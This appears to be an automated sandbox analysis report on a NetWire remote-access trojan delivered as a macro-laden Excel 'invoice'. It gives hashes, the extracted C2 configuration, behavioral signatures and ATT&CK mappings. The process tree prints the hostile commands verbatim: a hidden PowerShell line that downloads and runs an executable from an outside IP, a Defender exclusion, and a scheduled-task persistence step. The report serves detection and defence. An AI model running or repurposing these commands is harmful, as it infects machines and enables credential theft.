netwire | c94cca2c1e58461023c08ac630cb28cb0940566373c8fa988c480736597a8840

General

Target

invoice_78336.xlsm
Size

42KB
MD5

8588c1999a06ff9c06d12fee925b9018
SHA1

af5ef23dbcc31847788d1a2522b689a8dfd0f124
SHA256

c94cca2c1e58461023c08ac630cb28cb0940566373c8fa988c480736597a8840
SHA512

62c175443fb7b0c58be53f84cdf78d441670eb1ecfed27d7c41f06505a8e036f81c4d7ea086c42cdfcf23d5256404dfccf2b6372fa1a538bbe66d8e54ac9305d
SSDEEP

768:7lvRPlvHssndawBIJYfTH+niSpPvDH7iv+nW4FFiKk/f0qtM2CHWRQ+nYANm:ZvnvHTdawG1BxT7iv+PFFi3/8qahHWt+

Score

10^/10

netwire botnet rat stealer

Malware Config

Extracted

Family

netwire

C2

212.193.30.230:3363

Attributes

activex_autorun
false
copy_executable
false
delete_original
false
host_id
HostId-%Rand%
keylogger_dir
%AppData%\Logs\
lock_executable
false
offline_keylogger
true
password
Password@2
registry_autorun
false
use_mutex
false

Signatures

NetWire RAT payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/4700-156-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/4700-160-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/4700-164-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2592	4176	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

25 2592 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

tmpA472.exetmpA472.exe

pid process

2816 tmpA472.exe
4700 tmpA472.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

tmpA472.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation tmpA472.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

tmpA472.exe

description pid process target process

PID 2816 set thread context of 4700 2816 tmpA472.exe tmpA472.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
25	2592	powershell.exe

pid	process
2816	tmpA472.exe
4700	tmpA472.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	tmpA472.exe

description	pid	process	target process
PID 2816 set thread context of 4700	2816	tmpA472.exe	tmpA472.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3724 schtasks.exe

pid	process
3724	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4176 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2592 powershell.exe
2592 powershell.exe
5104 powershell.exe
5104 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2592 powershell.exe
Token: SeDebugPrivilege 5104 powershell.exe

pid	process
2592	powershell.exe
2592	powershell.exe
5104	powershell.exe
5104	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	5104	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEpowershell.exetmpA472.exe

description	pid	process	target process
PID 4176 wrote to memory of 2592	4176	EXCEL.EXE	powershell.exe
PID 4176 wrote to memory of 2592	4176	EXCEL.EXE	powershell.exe
PID 2592 wrote to memory of 2816	2592	powershell.exe	tmpA472.exe
PID 2592 wrote to memory of 2816	2592	powershell.exe	tmpA472.exe
PID 2592 wrote to memory of 2816	2592	powershell.exe	tmpA472.exe
PID 2816 wrote to memory of 5104	2816	tmpA472.exe	powershell.exe
PID 2816 wrote to memory of 5104	2816	tmpA472.exe	powershell.exe
PID 2816 wrote to memory of 5104	2816	tmpA472.exe	powershell.exe
PID 2816 wrote to memory of 3724	2816	tmpA472.exe	schtasks.exe
PID 2816 wrote to memory of 3724	2816	tmpA472.exe	schtasks.exe
PID 2816 wrote to memory of 3724	2816	tmpA472.exe	schtasks.exe
PID 2816 wrote to memory of 4700	2816	tmpA472.exe	tmpA472.exe
PID 2816 wrote to memory of 4700	2816	tmpA472.exe	tmpA472.exe
PID 2816 wrote to memory of 4700	2816	tmpA472.exe	tmpA472.exe
PID 2816 wrote to memory of 4700	2816	tmpA472.exe	tmpA472.exe
PID 2816 wrote to memory of 4700	2816	tmpA472.exe	tmpA472.exe
PID 2816 wrote to memory of 4700	2816	tmpA472.exe	tmpA472.exe
PID 2816 wrote to memory of 4700	2816	tmpA472.exe	tmpA472.exe
PID 2816 wrote to memory of 4700	2816	tmpA472.exe	tmpA472.exe
PID 2816 wrote to memory of 4700	2816	tmpA472.exe	tmpA472.exe
PID 2816 wrote to memory of 4700	2816	tmpA472.exe	tmpA472.exe
PID 2816 wrote to memory of 4700	2816	tmpA472.exe	tmpA472.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\invoice_78336.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4176

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://198.23.172.90/statement.exe" -OutFile $TempFile; Start-Process $TempFile;
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2592

C:\Users\Admin\AppData\Local\Temp\tmpA472.exe
"C:\Users\Admin\AppData\Local\Temp\tmpA472.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2816

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ARvNQxJkzcNg.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5104

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ARvNQxJkzcNg" /XML "C:\Users\Admin\AppData\Local\Temp\tmp4F78.tmp"
4⤵
- Creates scheduled task(s)
PID:3724

C:\Users\Admin\AppData\Local\Temp\tmpA472.exe
"C:\Users\Admin\AppData\Local\Temp\tmpA472.exe"
4⤵
- Executes dropped EXE
PID:4700

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
88dbc4ea02d5955553aa0829b4633951

SHA1
cdcac352cbba1845bb4157214a8c915822514e50

SHA256
99ef7da23364302609c71345fc2524e8b7f2cf59e2dc50c3b794e61e68489e05

SHA512
56534d6f5c601d16400f61f3c6ecf9a823a37c90e80e4355b78959b2922fa301e938903a55b683b0c0beca0d0ead8b642bc3ffbd8b964637f9eeaeb04fa4d0a8

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp4F78.tmp
Filesize
1KB

MD5
4495a85f9486b8806e4ef180e7d0172f

SHA1
9b8c678f22dbdf86f47f067901428b38b1eb3e98

SHA256
a51b06c1cbe309432e5c2830c4149cc64923f1f2de78ac812478837d69de8872

SHA512
4a1ef374a465bb3151d59f7b5b458622eed9cbd270a1edae3efd9526a82ccf5ec0a980867f9127a837fd4578b861ec71dfebc8be53bcaa57933e91c94cc1c49a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA472.exe
Filesize
767KB

MD5
f4cb41dd766d9936b4dcbca5075ffbc1

SHA1
e185a7639c26468f4fb62169b6037e2e4d99f75a

SHA256
85e8c923778743576884ef91502873590a7d6ae7675c526fbad2418091685bc0

SHA512
c3ea0c269177205c8573662ed5b5a9b6c242e9538c66c6b72871e2bc7d107d0db686b33c2e4ba2baf59a6877a07b9c2d65b2f50535e7d2eacffaf7f2274eb03a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA472.exe
Filesize
767KB

MD5
f4cb41dd766d9936b4dcbca5075ffbc1

SHA1
e185a7639c26468f4fb62169b6037e2e4d99f75a

SHA256
85e8c923778743576884ef91502873590a7d6ae7675c526fbad2418091685bc0

SHA512
c3ea0c269177205c8573662ed5b5a9b6c242e9538c66c6b72871e2bc7d107d0db686b33c2e4ba2baf59a6877a07b9c2d65b2f50535e7d2eacffaf7f2274eb03a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA472.exe
Filesize
767KB

MD5
f4cb41dd766d9936b4dcbca5075ffbc1

SHA1
e185a7639c26468f4fb62169b6037e2e4d99f75a

SHA256
85e8c923778743576884ef91502873590a7d6ae7675c526fbad2418091685bc0

SHA512
c3ea0c269177205c8573662ed5b5a9b6c242e9538c66c6b72871e2bc7d107d0db686b33c2e4ba2baf59a6877a07b9c2d65b2f50535e7d2eacffaf7f2274eb03a

Download Submit
memory/2592-141-0x00007FFA06000000-0x00007FFA06AC1000-memory.dmp

Filesize
10.8MB

Download
memory/2592-144-0x00007FFA06000000-0x00007FFA06AC1000-memory.dmp

Filesize
10.8MB

Download
memory/2592-139-0x0000000000000000-mapping.dmp

Download
memory/2592-140-0x0000014FB90F0000-0x0000014FB9112000-memory.dmp

Filesize
136KB

Download
memory/2816-150-0x0000000007BA0000-0x0000000007C3C000-memory.dmp

Filesize
624KB

Download
memory/2816-148-0x00000000058A0000-0x0000000005932000-memory.dmp

Filesize
584KB

Download
memory/2816-142-0x0000000000000000-mapping.dmp

Download
memory/2816-149-0x0000000005950000-0x000000000595A000-memory.dmp

Filesize
40KB

Download
memory/2816-146-0x0000000000D30000-0x0000000000DF6000-memory.dmp

Filesize
792KB

Download
memory/2816-147-0x0000000005E50000-0x00000000063F4000-memory.dmp

Filesize
5.6MB

Download
memory/3724-152-0x0000000000000000-mapping.dmp

Download
memory/4176-135-0x00007FF9EEA10000-0x00007FF9EEA20000-memory.dmp

Filesize
64KB

Download
memory/4176-136-0x00007FF9EEA10000-0x00007FF9EEA20000-memory.dmp

Filesize
64KB

Download
memory/4176-137-0x00007FF9EC8D0000-0x00007FF9EC8E0000-memory.dmp

Filesize
64KB

Download
memory/4176-181-0x00007FF9EEA10000-0x00007FF9EEA20000-memory.dmp

Filesize
64KB

Download
memory/4176-138-0x00007FF9EC8D0000-0x00007FF9EC8E0000-memory.dmp

Filesize
64KB

Download
memory/4176-180-0x00007FF9EEA10000-0x00007FF9EEA20000-memory.dmp

Filesize
64KB

Download
memory/4176-134-0x00007FF9EEA10000-0x00007FF9EEA20000-memory.dmp

Filesize
64KB

Download
memory/4176-179-0x00007FF9EEA10000-0x00007FF9EEA20000-memory.dmp

Filesize
64KB

Download
memory/4176-132-0x00007FF9EEA10000-0x00007FF9EEA20000-memory.dmp

Filesize
64KB

Download
memory/4176-178-0x00007FF9EEA10000-0x00007FF9EEA20000-memory.dmp

Filesize
64KB

Download
memory/4176-133-0x00007FF9EEA10000-0x00007FF9EEA20000-memory.dmp

Filesize
64KB

Download
memory/4700-156-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/4700-164-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/4700-155-0x0000000000000000-mapping.dmp

Download
memory/4700-160-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/5104-171-0x00000000074A0000-0x00000000074BA000-memory.dmp

Filesize
104KB

Download
memory/5104-173-0x0000000007720000-0x00000000077B6000-memory.dmp

Filesize
600KB

Download
memory/5104-166-0x00000000061A0000-0x00000000061BE000-memory.dmp

Filesize
120KB

Download
memory/5104-167-0x0000000006770000-0x00000000067A2000-memory.dmp

Filesize
200KB

Download
memory/5104-168-0x00000000712A0000-0x00000000712EC000-memory.dmp

Filesize
304KB

Download
memory/5104-169-0x0000000006730000-0x000000000674E000-memory.dmp

Filesize
120KB

Download
memory/5104-170-0x0000000007AE0000-0x000000000815A000-memory.dmp

Filesize
6.5MB

Download
memory/5104-161-0x0000000005040000-0x0000000005062000-memory.dmp

Filesize
136KB

Download
memory/5104-172-0x0000000007510000-0x000000000751A000-memory.dmp

Filesize
40KB

Download
memory/5104-163-0x0000000005A30000-0x0000000005A96000-memory.dmp

Filesize
408KB

Download
memory/5104-174-0x00000000076D0000-0x00000000076DE000-memory.dmp

Filesize
56KB

Download
memory/5104-175-0x00000000077E0000-0x00000000077FA000-memory.dmp

Filesize
104KB

Download
memory/5104-176-0x00000000077C0000-0x00000000077C8000-memory.dmp

Filesize
32KB

Download
memory/5104-162-0x0000000005810000-0x0000000005876000-memory.dmp

Filesize
408KB

Download
memory/5104-157-0x00000000051E0000-0x0000000005808000-memory.dmp

Filesize
6.2MB

Download
memory/5104-153-0x0000000004B70000-0x0000000004BA6000-memory.dmp

Filesize
216KB

Download
memory/5104-151-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads